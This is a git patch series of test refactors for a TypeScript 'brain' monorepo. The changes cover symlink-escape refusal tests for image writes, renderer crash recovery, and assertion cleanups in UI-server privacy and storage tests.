"path"; import { type LoadedModule } from "@schlessera/brain"; @@ -41,9 +41,16 @@ describe("images manifest", () => { }); describe("shipped skills", () => { + const roots: string[] = []; + afterEach(() => { + for (const root of roots.splice(0)) rmSync(root, { recursive: true, force: true }); + }); + function skills() { + const root = mkdtempSync(join(tmpdir(), "brain-images-skills-")); + roots.push(root); const { skills, warnings } = discoverSkills( - { root: mkdtempSync(join(tmpdir(), "brain-images-skills-")), modules: [loaded] }, + { root, modules: [loaded] }, { coreSkillsDir: resolve(import.meta.dir, "no-such-core-skills") } ); expect(warnings).toEqual([]); diff --git a/packages/module-images/tests/scratch.test.ts b/packages/module-images/tests/scratch.test.ts index a0415247bd..3034c4fa34 100644 --- a/packages/module-images/tests/scratch.test.ts +++ b/packages/module-images/tests/scratch.test.ts @@ -15,8 +15,15 @@ import { imageCommand } from "../src/cli"; import { configSchema } from "../src/module"; let root: string; -const saved = { key: process.env.GEMINI_API_KEY, log: console.log, error: console.error, fetch: globalThis.fetch }; +const saved = { key: process.env.GEMINI_API_KEY, openAiKey: process.env.OPENAI_API_KEY, log: console.log, error: console.error, fetch: globalThis.fetch }; let out: string[]; +/** Directories outside the brain, removed in teardown even when the test fails. */ +const outsides: string[] = []; +const outsideDir = () => { + const dir = mkdtempSync(join(tmpdir(), "brain-outside-")); + outsides.push(dir); + return dir; +}; beforeEach(() => { root = mkdtempSync(join(tmpdir(), "brain-image-scratch-")); @@ -34,7 +41,10 @@ afterEach(() => { globalThis.fetch = saved.fetch; if (saved.key === undefined) delete process.env.GEMINI_API_KEY; else process.env.GEMINI_API_KEY = saved.key; + if (saved.openAiKey === undefined) delete process.env.OPENAI_API_KEY; + else process.env.OPENAI_API_KEY = saved.openAiKey; rmSync(root, { recursive: true, force: true }); + for (const dir of outsides.splice(0)) rmSync(dir, { recursive: true, force: true }); }); const run = (argv: string[]) => @@ -126,7 +136,7 @@ describe("brain image --scratch", () => { ignoreScratch(root); // --out asks for .jpeg; the provider answers PNG, so the write goes to // draft.png, where a link to an outside file has been planted. - const outside = mkdtempSync(join(tmpdir(), "brain-outside-")); + const outside = outsideDir(); const victim = join(outside, "victim.png"); writeFileSync(victim, "keep me"); mkdirSync(join(root, SCRATCH_DIR), { recursive: true }); @@ -137,24 +147,24 @@ describe("brain image --scratch", () => { expect(readFileSync(victim, "utf8")).toBe("keep me"); expect(readlinkSync(join(root, SCRATCH_DIR, "draft.png"))).toBe(victim); expect(scratchFiles()).toEqual(["draft.png"]); - rmSync(outside, { recursive: true, force: true }); }); test("a nested directory swapped for a symlink while the request is out is refused, and nothing lands outside", async () => { ignoreScratch(root); - const outside = mkdtempSync(join(tmpdir(), "brain-outside-")); + const outside = outsideDir(); const nested = join(root, SCRATCH_DIR, "nested"); - stubProvider(() => { + const provider = stubProvider(() => { rmSync(nested, { recursive: true, force: true }); symlinkSync(outside, nested); }); expect(await run(["a lighthouse", "--draft", "--out", `${SCRATCH_DIR}/nested/draft.png`])).toBe(1); + // The request went out: the refusal is the write's, not the pre-flight's. + expect(provider.calls).toBe(1); expect(readdirSync(outside)).toEqual([]); - rmSync(outside, { recursive: true, force: true }); }); test("outside scratch, a corrected name that is a link to an outside file is refused, the file byte-identical", async () => { - const outside = mkdtempSync(join(tmpdir(), "brain-outside-")); + const outside = outsideDir(); const victim = join(outside, "victim.png"); writeFileSync(victim, "keep me"); mkdirSync(join(root, "assets"), { recursive: true }); @@ -164,7 +174,6 @@ describe("brain image --scratch", () => { expect(out.join("\n")).toContain("symlink"); expect(readFileSync(victim, "utf8")).toBe("keep me"); expect(readlinkSync(join(root, "assets", "draft.png"))).toBe(victim); - rmSync(outside, { recursive: true, force: true }); }); test("a corrected name whose directory came to resolve into unignored scratch while the request was out is refused", async () => { @@ -184,7 +193,7 @@ describe("brain image --scratch", () => { }); test("a derived -2 name that is a link to an outside file is refused, the file byte-identical, the first image kept", async () => { - const outside = mkdtempSync(join(tmpdir(), "brain-outside-")); + const outside = outsideDir(); const victim = join(outside, "victim.png"); writeFileSync(victim, "keep me"); mkdirSync(join(root, "assets"), { recursive: true }); @@ -196,15 +205,10 @@ describe("brain image --scratch", () => { JSON.stringify({ data: [{ b64_json: Buffer.from(PNG_BYTES).toString("base64") }, { b64_json: Buffer.from("second").toString("base64") }] }), { status: 200, headers: { "Content-Type": "application/json" } }, )) as unknown as typeof fetch; - try { - expect(await run(["a lighthouse", "--provider", "openai", "--out", "assets/pair.png"])).toBe(1); - } finally { - delete process.env.OPENAI_API_KEY; - } + expect(await run(["a lighthouse", "--provider", "openai", "--out", "assets/pair.png"])).toBe(1); expect(out.join("\n")).toContain("symlink"); expect(readFileSync(victim, "utf8")).toBe("keep me"); expect(readFileSync(join(root, "assets", "pair.png"), "utf8")).toBe(PNG_BYTES); - rmSync(outside, { recursive: true, force: true }); }); test("an absolute --out inside the brain is reported repo-relative after generation, as in the dry run", async () => { @@ -217,7 +221,7 @@ describe("brain image --scratch", () => { }); test("an absolute --out outside the brain, or through a link out of it, is refused and nothing lands outside (#3422)", async () => { - const outside = mkdtempSync(join(tmpdir(), "brain-outside-")); + const outside = outsideDir(); mkdirSync(join(root, "assets"), { recursive: true }); symlinkSync(outside, join(root, "assets", "link-out")); stubProvider(); @@ -227,15 +231,16 @@ describe("brain image --scratch", () => { expect(out.join("\n")).toContain("Output path is not inside the brain"); } expect(readdirSync(outside)).toEqual([]); - rmSync(outside, { recursive: true, force: true }); }); test("the ignore rule is checked again after the provider call, so a rule lost in flight refuses the write", async () => { ignoreScratch(root); // The rule disappears while the request is out: the pre-flight check // passed, the write must not. - stubProvider(() => writeFileSync(join(root, ".gitignore"), "node_modules\n")); + const provider = stubProvider(() => writeFileSync(join(root, ".gitignore"), "node_modules\n")); expect(await run(["a lighthouse", "--draft", "--scratch"])).toBe(1); + // The request went out: the refusal is the write's, not the pre-flight's. + expect(provider.calls).toBe(1); expect(out.join("\n")).toContain("brain doctor --fix"); expect(scratchFiles()).toEqual([]); }); From a693c15d7b5f9844b7bce43cf1d5cc9a30235303 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:24:10 +0100 Subject: [PATCH 187/252] test(ui-render-puppeteer): crashed fake refuses pages, drain without sleep, drop superseded degenerate-body case The crash-recovery fake kept serving pages after crash(), so 'does not brick' passed with the disconnect handler deleted; a crashed fake now refuses newPage and the test pins one replacement. The semaphore double-release test drains with setImmediate instead of a 5 ms sleep, a phase-budget assertion compares timer states instead of a boolean, and the real-Chrome degenerate-body case is removed in favour of png-bounds' exact-dimension cases. Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110211116-509912#0 --- .../ui-render-puppeteer/tests/crash-recovery.test.ts | 8 ++++++++ .../ui-render-puppeteer/tests/phase-budgets.test.ts | 2 +- packages/ui-render-puppeteer/tests/renderer.test.ts | 3 ++- packages/ui-render-puppeteer/tests/runtime.test.ts | 12 +++--------- 4 files changed, 14 insertions(+), 11 deletions(-) diff --git a/packages/ui-render-puppeteer/tests/crash-recovery.test.ts b/packages/ui-render-puppeteer/tests/crash-recovery.test.ts index 09c272d729..bfd5fb0d9e 100644 --- a/packages/ui-render-puppeteer/tests/crash-recovery.test.ts +++ b/packages/ui-render-puppeteer/tests/crash-recovery.test.ts @@ -19,6 +19,7 @@ import { createRenderer, type LaunchArgs } from "../src/renderer.js"; class FakeBrowser { private readonly handlers = new Map void>>(); closed = false; + crashed = false; pagesOpened = 0; once(event: string, fn: () => void) { @@ -33,11 +34,15 @@ class FakeBrowser { } crash() { + this.crashed = true; for (const fn of this.handlers.get("disconnected") ?? []) fn(); this.handlers.delete("disconnected"); } async newPage() { + // A dead Chrome refuses every command, as puppeteer's closed connection + // does; a renderer that kept the handle would fail every later render. + if (this.crashed) throw new Error("Protocol error: Connection closed."); this.pagesOpened++; return { close: async () => {}, @@ -125,6 +130,9 @@ describe("a crashed browser", () => { for (let i = 0; i < 3; i++) { expect((await r.renderPng({ html: `

${i}

` })).length).toBeGreaterThan(0); } + // One replacement serves all three, rather than a relaunch per render. + expect(l.count).toBe(2); + expect(l.browsers[1].pagesOpened).toBe(3); await r.shutdown(); }); diff --git a/packages/ui-render-puppeteer/tests/phase-budgets.test.ts b/packages/ui-render-puppeteer/tests/phase-budgets.test.ts index cb6a6354da..8fac5a0ec1 100644 --- a/packages/ui-render-puppeteer/tests/phase-budgets.test.ts +++ b/packages/ui-render-puppeteer/tests/phase-budgets.test.ts @@ -452,7 +452,7 @@ describe("renderer phase budgets", () => { await dispose(); } expect(browser.closes).toBe(1); - expect(clock.timers.some(t => t.ms === 2_000 && t.state === "fired")).toBe(true); + expect(clock.timers.filter(t => t.ms === 2_000).map(t => t.state)).toContain("fired"); expect(Object.getOwnPropertyDescriptor(globalThis, "setTimeout")).toEqual(clock.descriptors.setTimeout); expect(Object.getOwnPropertyDescriptor(globalThis, "clearTimeout")).toEqual(clock.descriptors.clearTimeout); }); diff --git a/packages/ui-render-puppeteer/tests/renderer.test.ts b/packages/ui-render-puppeteer/tests/renderer.test.ts index 4731f41871..fa615b46cf 100644 --- a/packages/ui-render-puppeteer/tests/renderer.test.ts +++ b/packages/ui-render-puppeteer/tests/renderer.test.ts @@ -86,7 +86,8 @@ describe("Semaphore", () => { third = true; return r; }); - await new Promise((r) => setTimeout(r, 5)); + // Drain continuations without a wall-clock delay, as above. + await new Promise((resolve) => setImmediate(resolve)); expect(third).toBe(false); // still only one slot r2(); (await p)(); diff --git a/packages/ui-render-puppeteer/tests/runtime.test.ts b/packages/ui-render-puppeteer/tests/runtime.test.ts index 4f20eddb5d..175614fca2 100644 --- a/packages/ui-render-puppeteer/tests/runtime.test.ts +++ b/packages/ui-render-puppeteer/tests/runtime.test.ts @@ -247,14 +247,6 @@ describe.skipIf(!hasChrome)("renderer hardening regressions", () => { } }, 60_000); - test("a degenerate body renders instead of throwing a raw Chrome error", async () => { - const r = renderer(); - const png = await r.renderPng({ - html: "", - }); - expect(Buffer.isBuffer(png)).toBe(true); - }, 60_000); - test("an enormous body is clamped, not allocated in full", async () => { const r = renderer(); const png = await r.renderPng({ @@ -276,5 +268,7 @@ describe.skipIf(!hasChrome)("renderer hardening regressions", () => { }, 60_000); // Injectable browser lifecycle and stale callbacks are exercised in - // crash-recovery.test.ts; real isolation remains owned by this file. + // crash-recovery.test.ts, and degenerate body geometry (zero, null and + // fractional boxes) with exact PNG dimensions in png-bounds.runtime.test.ts; + // real isolation remains owned by this file. }); From 3181152a7a41f418e1275bbe4b30a6d509a1afe5 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:24:31 +0100 Subject: [PATCH 188/252] test(ui-server): test-health batch e3855-ui-server-03 (#3902) * test(ui-server): byte-identity and direct-call checks print the compared values Test-Health: th-20261110163713-e0434b#0 * test(ui-server): recipient and report checks print the compared values Test-Health: th-20261110163713-e0434b#1 * test(ui-server): saved transcription waits for the claim and the body read, not for time Test-Health: th-20261110163713-e0434b#2 * test(ui-server): reference worktree checks compare values instead of booleans Test-Health: th-20261110163713-e0434b#3 * test(ui-server): reference source paths print the path on a mismatch Test-Health: th-20261110163713-e0434b#4 * test(ui-server): safety subscriptions read only settled writes (#3723) Test-Health: th-20261110163713-e0434b#5 * test(ui-server): boot-refusal logs and worker curl failures print what happened Test-Health: th-20261110163713-e0434b#6 * test(ui-server): the notifier prune proves its committed effect; storage checks print values Test-Health: th-20261110163713-e0434b#7 * test(ui-server): session cost persistence uses a private temporary database Test-Health: th-20261110163713-e0434b#53 * test(ui-server): shrink checks print the head and stray blocks Test-Health: th-20261110163713-e0434b#47 * test(ui-server): session start checks print the frames they look for Test-Health: th-20261110163713-e0434b#28 * test(ui-server): steering snapshot check names entries that carry a hash Test-Health: th-20261110163713-e0434b#36 * test(ui-server): relay taint checks print offending records Test-Health: th-20261110163713-e0434b#38 * test(ui-server): storage history model checks print the offending samples Test-Health: th-20261110163713-e0434b#17 * test(ui-server): runtime boot warning check prints the logged warnings Test-Health: th-20261110163713-e0434b#8 * test(ui-server): principal id width check prints each width Test-Health: th-20261110163713-e0434b#18 * test(ui-server): share route name checks print the name Test-Health: th-20261110163713-e0434b#19 * test(ui-server): storage collection checks print entries and identities Test-Health: th-20261110163713-e0434b#20 * test(ui-server): schedule CLI list check holds in any case order Test-Health: th-20261110163713-e0434b#9 * test(ui-server): the boot refusal log pair typechecks against a present failure Test-Health: th-20261110163713-e0434b#6 --- .../tests/native-journal-steering.test.ts | 2 +- packages/ui-server/tests/notify-offloop.test.ts | 5 ++++- .../tests/operational-state-layout.test.ts | 2 +- packages/ui-server/tests/principals.test.ts | 2 +- .../ui-server/tests/private-index-cache.test.ts | 2 +- .../tests/provider-allowed-route.test.ts | 2 +- .../tests/provider-continuation-state.test.ts | 8 ++++---- .../tests/provider-mask-bridge.test.ts | 3 ++- .../tests/provider-relay-taint.test.ts | 6 +++--- .../ui-server/tests/reference-tools.test.ts | 4 ++-- .../tests/reference-worktree-hygiene.test.ts | 8 ++++---- .../tests/reference-worktree-journal.test.ts | 8 ++++---- .../tests/reference-writes-offloop.test.ts | 4 ++-- packages/ui-server/tests/runtime-boot.test.ts | 2 +- .../tests/safety-history-review.test.ts | 14 +++++++++++--- packages/ui-server/tests/safety-history.test.ts | 10 ++++++++-- .../ui-server/tests/saved-transcription.test.ts | 14 +++++++++----- packages/ui-server/tests/schedule-cli.test.ts | 4 +++- .../tests/session-cost-persistence.test.ts | 17 ++++++++--------- .../tests/session-start-reliability.test.ts | 6 +++--- packages/ui-server/tests/session-taint.test.ts | 12 +++++++----- packages/ui-server/tests/share-routes.test.ts | 14 +++++++------- packages/ui-server/tests/shrink.test.ts | 4 ++-- .../ui-server/tests/storage-collection.test.ts | 4 ++-- .../tests/storage-history-model.test.ts | 10 +++++----- .../tests/storage-history-store.test.ts | 6 +++--- .../ui-server/tests/storage-metadata.test.ts | 2 +- packages/ui-server/tests/storage-notify.test.ts | 4 ++-- 28 files changed, 102 insertions(+), 77 deletions(-) diff --git a/packages/ui-server/tests/native-journal-steering.test.ts b/packages/ui-server/tests/native-journal-steering.test.ts index 3c9a1f7ca0..02e45fb93c 100644 --- a/packages/ui-server/tests/native-journal-steering.test.ts +++ b/packages/ui-server/tests/native-journal-steering.test.ts @@ -18,7 +18,7 @@ test("native steering follows sealed configuration references without retaining expect([...result.paths].sort(), "NATIVE_STEERING_TRANSITIVE_WITHOUT_CAS").toEqual(["brain.config.ts", "config/helper.ts", "config/routes.json"]); expect(result.unavailable).toEqual(["brain.config.ts"]); expect(reads).not.toContain("notes/odysseus.md"); - expect(snapshot.entries.every(entry => entry.hash === undefined)).toBe(true); + expect(snapshot.entries.filter(entry => entry.hash !== undefined)).toEqual([]); }); diff --git a/packages/ui-server/tests/notify-offloop.test.ts b/packages/ui-server/tests/notify-offloop.test.ts index e5222c230a..728b6812d9 100644 --- a/packages/ui-server/tests/notify-offloop.test.ts +++ b/packages/ui-server/tests/notify-offloop.test.ts @@ -55,7 +55,10 @@ test("notifier ticks and delivery writes commit on the write worker at FULL, nev // `changes` counts the watch's own trigger rows, so read the result back. expect(await notifier.acknowledgeAll(), "NOTIFY_ACK_ALL_COMMITS_ON_WORKER").toBeGreaterThan(0); expect(notifier.inbox(), "NOTIFY_ACK_ALL_COMMITTED").toEqual([]); - expect(await notifier.pruneAcknowledged(0), "NOTIFY_PRUNE_COMMITS_ON_WORKER").toBeGreaterThanOrEqual(0); + // A cutoff in the future makes every acknowledged intent old enough, so the + // prune's committed effect is an empty table, whatever its trigger-inflated count. + await notifier.pruneAcknowledged(-60_000); + expect(f.db.query("SELECT COUNT(*) AS n FROM notification_intents").get(), "NOTIFY_PRUNE_COMMITS_ON_WORKER").toEqual({ n: 0 }); const log = await sites.log(); expect(new Set(log), "NOTIFY_TABLES_WRITTEN_ON_WORKER").toEqual(new Set(["notification_intents", "settings"])); } finally { await f.close(); } diff --git a/packages/ui-server/tests/operational-state-layout.test.ts b/packages/ui-server/tests/operational-state-layout.test.ts index b813d13ba7..5aa2723829 100644 --- a/packages/ui-server/tests/operational-state-layout.test.ts +++ b/packages/ui-server/tests/operational-state-layout.test.ts @@ -83,7 +83,7 @@ describe("operational state boot refusal (#1649)", () => { expect(failure?.name, "OPERATIONAL_STATE_BOOT_REFUSAL").toBe("OperationalStateInBrainError"); expect((failure as Error & { status: unknown }).status).toMatchObject({ available: false, reason: layout === "private token" || layout === "linked quarantine" ? "private_state_in_brain" : "database_in_brain" }); - expect(observability.logs.records().some(record => record.body === failure?.message && record.attributes["boot.refusal"] === failure?.name)).toBe(true); + expect(observability.logs.records().map(record => [record.body, record.attributes["boot.refusal"]])).toContainEqual([failure!.message, failure!.name]); expect(failure?.message).toContain("move the state directory outside the brain"); expect(failure?.message).toContain(layout === "private token" ? "BRAIN_UI_INBOX_POKE_TOKEN_FILE" : "DB_PATH"); expect(existsSync(f.sentinel), "NO_BRAIN_EXECUTION_BEFORE_LAYOUT_REFUSAL").toBe(false); diff --git a/packages/ui-server/tests/principals.test.ts b/packages/ui-server/tests/principals.test.ts index 93ea744fa2..1034c7ec42 100644 --- a/packages/ui-server/tests/principals.test.ts +++ b/packages/ui-server/tests/principals.test.ts @@ -117,7 +117,7 @@ describe("principal store", () => { expect(new Set(ids).size).toBe(ids.length); const values = ids.map((id) => Buffer.from(id, "base64url")); - expect(values.every((value) => value.length === 16)).toBe(true); + expect(values.map((value) => value.length)).toEqual(ids.map(() => 16)); const deltas = values.slice(1).map((value, i) => { const current = BigInt(`0x${value.toString("hex")}`); const previous = BigInt(`0x${values[i]!.toString("hex")}`); diff --git a/packages/ui-server/tests/private-index-cache.test.ts b/packages/ui-server/tests/private-index-cache.test.ts index d2113c40eb..8e13591ed0 100644 --- a/packages/ui-server/tests/private-index-cache.test.ts +++ b/packages/ui-server/tests/private-index-cache.test.ts @@ -705,7 +705,7 @@ test("advances share one checkpoint, move bases without renewing them, and fail expect((await b.prepare("three")).kind).toBe("built"); b.state.failAcquire = true; expect(await b.advance(), "NO_CHECKPOINT_NO_ADVANCE").toEqual([]); - expect(reports.some(report => report.includes("the manager is busy")), "REPORTED").toBe(true); + expect(reports, "REPORTED").toContainEqual(expect.stringContaining("the manager is busy")); expect(b.bases().length, "THE_BASE_STAYS").toBe(1); await b.cache.close(); expect(clock.deadlines(), "CLOSE_CANCELS_THE_REMAINING_IDLE_TIMER").toEqual([]); diff --git a/packages/ui-server/tests/provider-allowed-route.test.ts b/packages/ui-server/tests/provider-allowed-route.test.ts index 948b629ce4..f7f63e14e9 100644 --- a/packages/ui-server/tests/provider-allowed-route.test.ts +++ b/packages/ui-server/tests/provider-allowed-route.test.ts @@ -109,7 +109,7 @@ test("a turn whose proven recipient a provider rule allows sees the folder, its ["no origin", {}]] as const) { const denied = await f.begin(`denied ${label}`, route); try { - expect(denied.sandbox.inferenceRecipient?.name === "anthropic", `DENIED_ROUTE_NOT_ANTHROPIC ${label}`).toBe(false); + expect(denied.sandbox.inferenceRecipient?.name, `DENIED_ROUTE_NOT_ANTHROPIC ${label}`).not.toBe("anthropic"); expect(denied.sandbox.providerMasks?.folders, `DENIED_ROUTE_MASKS_THE_FOLDER ${label}`).toEqual(["me"]); expect(reads(f.brain, denied.sandbox, "me", "identity.md", SENTINEL), `DENIED_ROUTE_CANNOT_READ ${label}`).toBe(HIDDEN); expect(search(f.brain, denied.sandbox, SENTINEL).filter(path => path.startsWith("me/")), `DENIED_ROUTE_PRIVATE_INDEX ${label}`).toEqual([]); diff --git a/packages/ui-server/tests/provider-continuation-state.test.ts b/packages/ui-server/tests/provider-continuation-state.test.ts index ce2466c6f9..8f6712027c 100644 --- a/packages/ui-server/tests/provider-continuation-state.test.ts +++ b/packages/ui-server/tests/provider-continuation-state.test.ts @@ -128,7 +128,7 @@ test("claude: real admission and worker state copy refuse pre-policy history, co expect(readFileSync(transcript(PRE_POLICY), "utf8"), "CLAUDE_DENIED_RESUME_NEVER_RECEIVES_SENTINEL").not.toContain('"sentinel":"found"'); expect({ dispatched, spawned }, "CLAUDE_PRE_POLICY_NO_COPY_NO_DISPATCH").toEqual({ dispatched: 0, spawned: 0 }); expect(refused, "CLAUDE_PRE_POLICY_REFUSAL_ACTIONABLE").toContain("Start a new conversation; the saved one is kept unchanged"); - expect(readFileSync(transcript(PRE_POLICY)).equals(savedPrePolicy), "CLAUDE_SAVED_TRANSCRIPT_BYTE_IDENTICAL").toBe(true); + expect(readFileSync(transcript(PRE_POLICY), "utf8"), "CLAUDE_SAVED_TRANSCRIPT_BYTE_IDENTICAL").toBe(savedPrePolicy.toString("utf8")); expect(await h.send("A fresh voyage under the rule."), "CLAUDE_FRESH_DENIED_ADMITTED").toBe(""); expect(await Promise.all(exits), "CLAUDE_WORKER_EXITS_CLEANLY").toEqual([0]); @@ -138,14 +138,14 @@ test("claude: real admission and worker state copy refuse pre-policy history, co expect(await h.send("The next leg.", born), "CLAUDE_BORN_MASKED_CONTINUES").toBe(""); await Promise.all(exits); expect(report(born), "CLAUDE_BORN_MASKED_PRIOR_HISTORY_BYTE_IDENTICAL").toEqual({ prior: sha(before), memory: "absent", sentinel: "unseen" }); - expect(readFileSync(transcript(born)).subarray(0, before.length).equals(before), "CLAUDE_HISTORY_APPEND_ONLY").toBe(true); + expect(readFileSync(transcript(born)).subarray(0, before.length).toString("utf8"), "CLAUDE_HISTORY_APPEND_ONLY").toBe(before.toString("utf8")); // Paired control: without provider rules the old conversation resumes with memory. writePolicy(b.brain, null); expect(await h.send("Continue the old voyage.", PRE_POLICY), "CLAUDE_UNMASKED_RESUME_ADMITTED").toBe(""); await Promise.all(exits); expect(report(PRE_POLICY), "CLAUDE_UNMASKED_RESUMES_WITH_HISTORY_AND_MEMORY").toEqual({ prior: sha(savedPrePolicy), memory: "present", sentinel: "found" }); - expect(readFileSync(join(config, project, "memory/MEMORY.md")).equals(savedMemory), "CLAUDE_SAVED_MEMORY_BYTE_IDENTICAL").toBe(true); + expect(readFileSync(join(config, project, "memory/MEMORY.md"), "utf8"), "CLAUDE_SAVED_MEMORY_BYTE_IDENTICAL").toBe(savedMemory.toString("utf8")); } finally { route.mockRestore(); h.host.close(); b.db.close(); rmSync(b.root, { recursive: true, force: true }); } }); @@ -200,7 +200,7 @@ test("pi: real admission and session open refuse pre-policy entries and continue expect(JSON.stringify(inits), "PI_DENIED_RESUME_NEVER_RECEIVES_SENTINEL").not.toContain(TRANSCRIPT_SENTINEL); expect(inits, "PI_PRE_POLICY_NO_COPY_NO_DISPATCH").toEqual([]); expect(refused, "PI_PRE_POLICY_REFUSAL_ACTIONABLE").toContain("Start a new conversation; the saved one is kept unchanged"); - expect(readFileSync(join(sessionDir, `${PRE_POLICY}.jsonl`)).equals(savedPrePolicy), "PI_SAVED_TRANSCRIPT_BYTE_IDENTICAL").toBe(true); + expect(readFileSync(join(sessionDir, `${PRE_POLICY}.jsonl`), "utf8"), "PI_SAVED_TRANSCRIPT_BYTE_IDENTICAL").toBe(savedPrePolicy.toString("utf8")); expect(await h.send("A fresh voyage under the rule."), "PI_FRESH_DENIED_ADMITTED").toBe(""); const born = inits.at(-1)!.sessionId; diff --git a/packages/ui-server/tests/provider-mask-bridge.test.ts b/packages/ui-server/tests/provider-mask-bridge.test.ts index 790a349ea5..71e0915363 100644 --- a/packages/ui-server/tests/provider-mask-bridge.test.ts +++ b/packages/ui-server/tests/provider-mask-bridge.test.ts @@ -402,7 +402,8 @@ for (const kind of ["claude", "pi"] as const) for (const masked of [true, false] // the masked turn's refusal is what kept the text out. const reached = seen.filter(call => !call.isError && call.message.includes("RETAINED_2698")).map(call => call.tool); expect(reached, `UNMASKED_TURN_READS_RETAINED_RECORDS ${JSON.stringify(seen)}`).toEqual(["query_activity recent", "query_activity run", "inbox_list", "inbox_get"]); - expect(direct.every(result => !(result instanceof Error) && JSON.stringify(result).includes("RETAINED_2698")), `UNMASKED_DIRECT_CALLS_READ ${direct}`).toBe(true); + expect(direct.map(result => result instanceof Error ? `refused: ${result.message}` : JSON.stringify(result).includes("RETAINED_2698")), "UNMASKED_DIRECT_CALLS_READ") + .toEqual([true, true, true]); } }, 60_000); } diff --git a/packages/ui-server/tests/provider-relay-taint.test.ts b/packages/ui-server/tests/provider-relay-taint.test.ts index b2f7add97d..6253abb0cf 100644 --- a/packages/ui-server/tests/provider-relay-taint.test.ts +++ b/packages/ui-server/tests/provider-relay-taint.test.ts @@ -119,8 +119,8 @@ test("provider first, then WebFetch: the provider request never taints, and WebF expect(providerRecords.map(record => [record.method, record.path, record.inference, record.provider]), "PROVIDER_CONNECTION_RECEIPTS") .toEqual([["POST", RERANK, undefined, true], ["POST", RERANK, undefined, true]]); // Worker records never carry the provider tag, even to the provider's host. - expect(voyage.events("egress_connection").filter(record => record.payload.method === "CONNECT").every(record => record.payload.provider === undefined), - "WORKER_RECORDS_NEVER_PROVIDER").toBe(true); + expect(voyage.events("egress_connection").filter(record => record.payload.method === "CONNECT" && record.payload.provider !== undefined).map(record => record.payload), + "WORKER_RECORDS_NEVER_PROVIDER").toEqual([]); } finally { await first.stop(); db.close(); } }); @@ -145,7 +145,7 @@ test("WebFetch first, then provider: the session stays tainted by WebFetch and t expect(await connectStatus(later.egress.socketPath, `127.0.0.3:${island.port}`), "LATER_TURN_NEW_HOST_NARROWED").toBe(403); } finally { await later.stop(); } expect(voyage.taints(), "PROVIDER_NEITHER_CLEARS_NOR_REPLACES_TAINT").toEqual([fetched]); - expect(voyage.events("egress_denial").every(event => !(event.payload.host === "127.0.0.1" && event.payload.method === "POST")), "NO_PROVIDER_TAINT_DENIAL").toBe(true); + expect(voyage.events("egress_denial").filter(event => event.payload.host === "127.0.0.1" && event.payload.method === "POST").map(event => event.payload), "NO_PROVIDER_TAINT_DENIAL").toEqual([]); } finally { await first.stop(); db.close(); } }); diff --git a/packages/ui-server/tests/reference-tools.test.ts b/packages/ui-server/tests/reference-tools.test.ts index 975e4bbc9a..65509d34c1 100644 --- a/packages/ui-server/tests/reference-tools.test.ts +++ b/packages/ui-server/tests/reference-tools.test.ts @@ -80,7 +80,7 @@ describe("shared reference source", () => { const result = ok>(await current.call(source(PUBLIC))); expect(result.source, "REFERENCE_TOOLS_SOURCE_REPORTS_BOUND_PATH").toMatchObject({ domain: "public", commit: "1".repeat(40), freshness: "fresh", error: null }); const name = result.source.path!.slice("/tmp/brain-reference/public/".length); - expect(result.source.path!.startsWith("/tmp/brain-reference/public/")).toBe(true); + expect(result.source.path).toStartWith("/tmp/brain-reference/public/"); // The worker path names the same entry the bound host view resolves. expect(readFileSync(join(current.views!.public, name, "odyssey.md"), "utf8")).toContain("Sing, Muse"); expect([...pool.records.values()].some(record => record.view && join(pool.records.get(record.id)!.path!, "..") === current.views!.public)).toBe(true); @@ -107,7 +107,7 @@ describe("shared reference source", () => { const issued = grant(penelope.id); const result = ok>(await current.call(source(PRIVATE))); expect(result.source.domain).toBe("private"); - expect(result.source.path!.startsWith("/tmp/brain-reference/private/")).toBe(true); + expect(result.source.path).toStartWith("/tmp/brain-reference/private/"); // The bridge supplies the turn's principal; a mismatched caller holds nothing. expect(await current.call(source(PRIVATE), telemachus.id), "REFERENCE_TOOLS_PRINCIPAL_FROM_TURN").toMatchObject({ ok: false, code: "unavailable" }); const theirs = await turn(telemachus.id); diff --git a/packages/ui-server/tests/reference-worktree-hygiene.test.ts b/packages/ui-server/tests/reference-worktree-hygiene.test.ts index 0e97856b83..fc22aa8276 100644 --- a/packages/ui-server/tests/reference-worktree-hygiene.test.ts +++ b/packages/ui-server/tests/reference-worktree-hygiene.test.ts @@ -110,7 +110,7 @@ describe("detection and dispositions", () => { const shown = JSON.stringify({ finding, preview, list: await f.list(), card }); // #2734: the owning principal's label is a private detail too. for (const secret of ["penelope-loom", "odysseus/", "2222222222", "odyssey.md", "secret-route", f.telemachus.id, "Telemachus"]) - expect(shown.includes(secret), `REFERENCE_WORKTREE_HYGIENE_PRIVATE_OPAQUE ${secret}`).toBe(false); + expect(shown, `REFERENCE_WORKTREE_HYGIENE_PRIVATE_OPAQUE ${secret}`).not.toContain(secret); expect(shown).toContain(tree.id); expect(finding).toMatchObject({ worktree: { domain: "private", changedPaths: 1 } }); }); @@ -536,7 +536,7 @@ describe("human-started review", () => { await review.resolver.resolveAsync(f.penelope.id, { type: "inbox_resolve", itemId: read.action!.id, optionId: "delete-worktree" }); expect(createInboxStore(db).getItem(read.action!.id)?.status, "REFERENCE_WORKTREE_OWNER_REVIEWS_DELEGATED").toBe("resolved"); expect(f.pool.records.get(tree.id)?.state).toBe("reclaimed"); - expect(f.calls.some(args => ["resolve", "check", "dismiss", "snooze"].includes(args[0]!)), "REFERENCE_WORKTREE_NEVER_SENT_TO_THE_CLI").toBe(false); + expect(f.calls.filter(args => ["resolve", "check", "dismiss", "snooze"].includes(args[0]!)), "REFERENCE_WORKTREE_NEVER_SENT_TO_THE_CLI").toEqual([]); }); test("selection reassesses its winner, so a card never offers a repair its preview would find stale", async () => { @@ -637,7 +637,7 @@ describe("owner-only private details (#2734)", () => { await get(f.penelope, `/hygiene/review/details/${encodeURIComponent(card.id)}`); const surfaces = replicated() + JSON.stringify({ owner, list: await f.list() }); for (const secret of [...SECRETS, f.telemachus.id]) - expect(surfaces.includes(secret), `REFERENCE_WORKTREE_DETAILS_NEVER_REPLICATED ${secret}`).toBe(false); + expect(surfaces, `REFERENCE_WORKTREE_DETAILS_NEVER_REPLICATED ${secret}`).not.toContain(secret); }); test("reading details assesses nothing and changes no finding, fingerprint, last_seen or state", async () => { @@ -669,7 +669,7 @@ describe("owner-only private details (#2734)", () => { expect(JSON.parse(gone.body), "REFERENCE_WORKTREE_DETAILS_GONE").toEqual({ status: "gone" }); 